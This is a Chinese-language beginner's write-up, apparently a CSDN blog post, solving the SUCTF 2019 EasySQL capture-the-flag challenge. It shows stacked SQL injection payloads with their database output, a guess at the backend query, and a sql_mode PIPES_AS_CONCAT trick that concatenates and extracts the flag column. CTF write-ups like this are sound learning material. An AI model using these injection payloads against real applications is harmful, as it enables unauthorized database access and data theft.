[SUCTF 2019]EasySQL 1 菜鸟做题总结

题目内容
这是笔者第一篇记录web安全的博客,目前水平是刚起步阶段,但是以前做过web开发,所以对一些漏洞形成的原因比较了解,所以这一类博客将会是一个总结经验和做题过程的记录。

由于才开始做题,所以碰到这个sql注入其实并不知道该如何下手,这一点很痛苦。我只能按照目前学的摸索。
第一个想法,就说判断字符型和数字型,然后用1’ or 1=1这类去尝试,然后发现or和and被过滤勒,接着就是在网上找如何绕过and和or等,发现使用1 || 1=1#可以正常回显,但是好像对后续工作起不到什么用,因为我想使用order by,union等联合查询时,都被过滤勒,网上找了下绕过方式,还是不能绕过,到这里就卡住勒,然后就去百度这道题,看了关键字堆叠注入。想起了才做个的[强网杯 2019]随便注 1(用到了堆叠注入),嗯,自己都没想到,太菜了…

#构造 1;show databases;#
/*回显:Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) 
Array ( [0] => information_schema ) Array ( [0] => mysql ) 
Array ( [0] => performance_schema ) Array ( [0] => test ) */
#继续爆tables:1;show tables;#
#回显:Array ( [0] => 1 ) Array ( [0] => Flag ) 
#到这里flag就在这个表里了
#继续爆列名:1;show columns from Flag;#
#回显:Nonono

到这里其实就明显感觉新手的弊端暴露了,知道的方法太少了,一条路卡着就容易卡死,接下来就是去百度学习别人的做法,下面是一些经验积累。

#后端既然能做到数字回显字母不回显,说明有一个 或 结构,
#而且不直接回显flag,但作为一道题目,from一定是from flag。   摘自博客:StevenOnesir
select $_POST['query'] || flag from flag

1.做的题太少,我思维局限于sql注入发生于where条件之后的注入,所以才会第一反应去尝试数字型和字符型的判断,我还以为这道题是一个数字型的,其实压根就完全不是这么一回事。。。是一道后端代码拼凑

2.知识点总结

/*
sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数
堆叠注入知识:
command1;command2          顺序执行
command1 || command2     如果command1执行失败,则执行command2(这里||是逻辑或)
command1 && command2      如果command1执行成功,则执行command2

所以select $_POST['query'] || flag from flag 我们输入数字可以,但是字符串不行,
因为如果是字符串相当于是字段名,但是Flag表里没有你随机输入的字段名
方法一:
所以可以构建 *,1,后端语句就是--select *,1 || flag from flag

方法二:
Payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
后端语句:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
其实等于:select concat(1,flag) from Flag
*/

这一道题启发很大,主要是之前做的题全是where后面条件username于password等形式,第一次做在select 之后注入的题,经验
1.后端构造猜测
2.||在sql中可以有两种用法,需要根据sql_mode=PIPES_AS_CONCAT设置

本篇参考:
https://blog.csdn.net/bring_coco/article/details/108737434
https://blog.csdn.net/StevenOnesir/article/details/110203051?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-110203051-blog-108737434.t0_edu_mix&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-110203051-blog-108737434.t0_edu_mix&utm_relevant_index=1

  • 7
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值